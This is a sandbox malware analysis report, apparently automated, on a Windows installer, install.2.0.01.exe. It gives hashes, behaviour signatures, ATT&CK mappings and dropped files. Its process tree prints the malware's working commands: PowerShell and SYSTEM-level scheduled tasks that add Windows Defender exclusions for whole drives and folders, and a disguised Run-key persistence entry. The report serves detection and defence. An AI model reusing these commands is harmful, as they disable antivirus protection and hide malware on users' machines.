Analysis
- max time kernel
143s - max time network
152s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
24/10/2026, 09:07
Static task
static1
Behavioral task
behavioral1
Sample
install.2.0.01.exe
Resource
win10v2004-20260911-en
Behavioral task
behavioral2
Sample
install.2.0.01.exe
Resource
win11ltsc2024-20260911-en
General
- Target install.2.0.01.exe
- Size 38.9MB
- Sample261024-k3redaef53
- SHA256 3f74bd80c47403569afdebae663e696a4f96a705b86f56ba01fa6897af77bf09
- MD5 2b2396f27d3ffef88fe1ec253965f175
- SHA1 314a41e541836e5301cd4fafd4998a71a47e028d
- SHA512 a39908598e9087e5fdcbdaa52e5dd3c28cb803d52e341a74ea568faf1d1012e0251f6ea8f4880676fc5f9ae57265e918b66da18c3e132710ac1481ac5b91514a
- SSDEEP 49152:xPnycXVTyTyg5tJyNZ/W/hNbo1iTl8ZFPnMBwbePbgF+VS5sb5m+cZ2lyn0wgsXa:x6chqTShW/hNbSiQfMJPLmrUlsa
- TLSH T1F397D69FBF81DE82F957D23498A75B602336D9B40BF1C307125427206F9F2998EE25D8
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
pid Process 5396 powershell.exe - Executes dropped EXE 1 IoCs
pid Process 2780 966zl4.exe - Loads dropped DLL 1 IoCs
pid Process 2780 966zl4.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Tencent SecurityHealth = "\"C:\\Users\\Public\\Mn4Jb8\\966zl4.exe\"" 966zl4.exe - Indicator Removal: Clear Persistence 1 TTPs 5 IoCs
Clear artifacts associated with previously established persistence like scheduletasks on a host.
pid Process 1988 cmd.exe 5076 cmd.exe 5036 cmd.exe 3228 cmd.exe 1260 cmd.exe - Drops file in System32 directory 1 IoCs
description ioc Process File created C:\Windows\System32\CodeIntegrity\SiPolicy.p7b 966zl4.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 3 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1944 cmd.exe 5976 cmd.exe 2396 cmd.exe - Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
description ioc Process Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname install.2.0.01.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain install.2.0.01.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 6068 schtasks.exe 4604 schtasks.exe 5116 schtasks.exe 6132 schtasks.exe 3692 schtasks.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 4088 install.2.0.01.exe 4088 install.2.0.01.exe 4088 install.2.0.01.exe 4088 install.2.0.01.exe 4088 install.2.0.01.exe 4088 install.2.0.01.exe 4088 install.2.0.01.exe 4088 install.2.0.01.exe 4088 install.2.0.01.exe 4088 install.2.0.01.exe 4088 install.2.0.01.exe 4088 install.2.0.01.exe 4088 install.2.0.01.exe 4088 install.2.0.01.exe 4088 install.2.0.01.exe 4088 install.2.0.01.exe 4088 install.2.0.01.exe 4088 install.2.0.01.exe 4088 install.2.0.01.exe 4088 install.2.0.01.exe 4088 install.2.0.01.exe 4088 install.2.0.01.exe 4088 install.2.0.01.exe 4088 install.2.0.01.exe 4088 install.2.0.01.exe 4088 install.2.0.01.exe 4088 install.2.0.01.exe 4088 install.2.0.01.exe 4088 install.2.0.01.exe 4088 install.2.0.01.exe 4088 install.2.0.01.exe 4088 install.2.0.01.exe 2780 966zl4.exe 2780 966zl4.exe 2780 966zl4.exe 2780 966zl4.exe 2780 966zl4.exe 2780 966zl4.exe 2780 966zl4.exe 2780 966zl4.exe 2780 966zl4.exe 2780 966zl4.exe 2780 966zl4.exe 2780 966zl4.exe 2780 966zl4.exe 2780 966zl4.exe 2780 966zl4.exe 2780 966zl4.exe 2780 966zl4.exe 2780 966zl4.exe 2780 966zl4.exe 2780 966zl4.exe 2780 966zl4.exe 2780 966zl4.exe 2780 966zl4.exe 2780 966zl4.exe 2780 966zl4.exe 2780 966zl4.exe 2780 966zl4.exe 2780 966zl4.exe 2780 966zl4.exe 2780 966zl4.exe 2780 966zl4.exe 2780 966zl4.exe - Suspicious behavior: LoadsDriver 5 IoCs
pid Process 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found 812 Process not Found - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Users\Admin\AppData\Local\Temp\install.2.0.01.exe"C:\Users\Admin\AppData\Local\Temp\install.2.0.01.exe"1⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:4088
-
C:\Users\Public\Mn4Jb8\966zl4.exe"C:\Users\Public\Mn4Jb8\966zl4.exe"1⤵
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
PID:2780 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force2⤵
- Command and Scripting Interpreter: PowerShell
PID:5396
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Mn4Jb8\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
PID:1988 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\Mn4Jb8\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:4604
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3584
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5712
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
PID:5076 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:5116
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:5132
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:3420
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
PID:5036 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:6132
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3864
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:4964
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
PID:3228 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:3692
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:1820
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F3⤵PID:5348
-
-
-
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F2⤵
- Indicator Removal: Clear Persistence
PID:1260 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"3⤵
- Scheduled Task/Job: Scheduled Task
PID:6068
-
-
C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"3⤵PID:3680
-
-
-
C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\Mn4Jb8" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:1944
-
C:\Users\Public\Mn4Jb8\966zl4.exe"C:\Users\Public\Mn4Jb8\966zl4.exe"1⤵PID:2944
-
C:\Windows\system32\cmd.execmd.exe1⤵PID:5544
-
C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:5976
-
C:\Windows\system32\cmd.exe"cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f1⤵
- Executes a command shell one-liner
PID:2396
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
- Size 1KB
- SHA256 aeddd2b80f2c3ebe3ca5585f552af9b283f071cb685cd0ff2503888d79e06e24
- MD5 b27f621be7f87e3e0a4f63e379d73b66
- SHA1 5f08baecdef8e2e1dc2c59965e0272ae6177e33a
- SHA512 6d9ae9e8f9584a44406a53d2cb02b4693165487a76e8f3c90e8390e7a38bb2c35fa8c481e25abd9710897ce698f56d39a0572d8ea9029e68898ff9b97b1a52d1
- TLSH T1B831967B1B7DBD869F694D9418CAF23228E4E1D06CC5045AB114C4D89F083F62F2E90D
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
- Size 1KB
- SHA256 a7ff92e6fbe3a854159b590b4d8fa15e8cfe6b397f3ddefa8fc8b18fdbd85d8d
- MD5 6bdb9a00e6a8597cb346d3d6b20cd50a
- SHA1 cef647772d12e88c2c8fe8d747b560d1bcb6785e
- SHA512 bbc8029947c3c1b6541c19f300b035770d1cb1d927fbe8ef5c5226969e60dcb00ba6e78765ef44fb832beb755b6f0da2d123186105cad1a6028ed45261b31ed1
- TLSH T1A431D6A74A354003CB0C4F6526C4D23BBDF166355CA86C06727EC0BA594EBFB9FD6405
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\0DA515F703BB9B49479E8697ADB0B955_A825BDF54036A41AFA74CBF923C33A97
- Size 512B
- SHA256 87bb78e774db153c8bd1c5e9e87a1d14718859fcbb1d959bfe0b29f88c34c940
- MD5 b215ee3e5f89489ba745b48d58a150f9
- SHA1 2b6606b7a52b05af3eb2789c561ecc729ee56395
- SHA512 218400d91f8a5783cef388c3e20075aec1d2a438d86a223151f1ce5ff601b11437711b6c0bbd503032a99986dceeaa4610349fab4b99045e68a8aa0c3308ec4b
- TLSH T167F0DC0804F8412DF133FB3CCBDE3B5A1AAFF7061006449C07F14B0AA042AC17C516BA
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\B126FCE2445AEB4D678E59CB88147627_9759CCC75F54A99CEB69AE73B218D5C6
- Size 506B
- SHA256 ec17a19397de8b9f6e99d63a99a9512ac2b288895367c3a53a2f784bdaab0652
- MD5 3025ab384fc7175157cfc4e94ad4b276
- SHA1 3c9e7495fd607237515261b00b46a6f688373447
- SHA512 0317417cbc3156af0e58e610785b3c2287696674ed2ad257371672bc4a1efe1f8e9feacd3bf905999185202affbd466b677b31f1993c93bdc02b47e67bdca2f8
- TLSH T12BF05C3891DA011BF07AD1F8C7E336B25D76F626100692BE09E602441F51C821CC127D
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bshpsdet.yn0.psm1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Public\Mn4Jb8\966zl4.exe
- Size 135KB
- SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
- MD5 9ec587911e501b73b7cf09f05d0ae17d
- SHA1 5b62403cc9a668c6e5c70ace177fd54fcc4c5936
- SHA512 d05468a472373815c46ccb46ec743408365d24982d10d8a23ee0036c28cf3dacd05d74304ef2d4b7118f91ff3f631f676b2e86ddee92a02cf988b0d3c6247847
- SSDEEP 3072:MmhXb5pgtiaRENEErO9Uj4OqhhUvB4BNgQaJ:MmjgtiayGErsUKh3To
- TLSH T1D0D38C2776A474F9E1778635C8511A1AE772B8760770CB9F03A442A62F237D19E3EF20
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\Mn4Jb8\UxEnhance64.dll
- Size 3.1MB
- SHA256 4f9d1efebf32a58d05288773db55c8bf2a8855e17af1957aa63c11f13693a19b
- MD5 09ad4d06d1935994f1a438950a830165
- SHA1 d318d38804992861929dd3afce285feea1175eb0
- SHA512 0e48d3560ce2c41d54493b1fd7e3fb0bde59834a1ce855ce1bbae1370cfff90ab82a5671384cc57c27e1f128a46ca40228d4f58e43a40affef9aceb2cc874f48
- SSDEEP 49152:P9KpI8cBa0kj6BK0x3TiMQclkGo2PXk6rkwuuWG/+WizBedfb77N3SnKrKB+x:P9m29xx3Tiqt06ox6+z2rNNrKox
- TLSH T13DE523E5B6D739F6D023CBF4DA62A1AD70393F505F635C5F3B8929014E62228973A390
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\Mn4Jb8\adoresd.dat
- Size 4.8MB
- SHA256 a303cf78b5bb929334d23fb3c8547291816504ee539b5918fc2fd255193b4159
- MD5 1927dcabb7720a724ae1a145293c9f42
- SHA1 4dff7491a5c050e2fce60e9d2a83464d1343aa84
- SHA512 2f0f3a5fb4c7abde97c47c2d00ebea475a5a120ea6f110d65b4ba273ce02cacdb904b56c563dbfbba2e456cd9d96c08168664edab5cff898af56491b567b875f
- SSDEEP 98304:yWjdk+BWRdgiQH5fi2EP8QppMsYpfemnFjrIROuF7dYutYONNClD:yWj3WRdRQH5fimPGmNc7dBtYOc
- TLSH T1FE3633AB2FC2F55F5582315954D8E0216D7FFEC626CA2B5D6E7888F7A32210A04BD24C
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\Mn4Jb8\msadox.tb
- Size 8KB
- SHA256 b4f80afbdaf69371594ccf58bda62be4266dca28e46ccdf3e984a9c7bc77d31b
- MD5 d625ffe892a352551b4c70792972240d
- SHA1 6f1a10581a31208d7c987403d206362f46c843ea
- SHA512 eccbc0a26908ad720c1b13466dc046fe512c1f47730e37f8aab376a089408f060eb848560b4e6d8ab9d87d38ba38547d7b60412f696cac418ebe3f1f34e484d7
- SSDEEP 192:ZqbZajnZ45X1q3JXglD+3vR8cwNhIMCGe2y0PQp:ZsZqZOXQ3uqvR2Kfzp
- TLSH T17F029E05D7A20CC3D2016C71CD9EB2F5AB13A1DADA3926719C67D4C167072DD2CE620D
- MD5 SHA1 SHA512 SSDEEP TLSH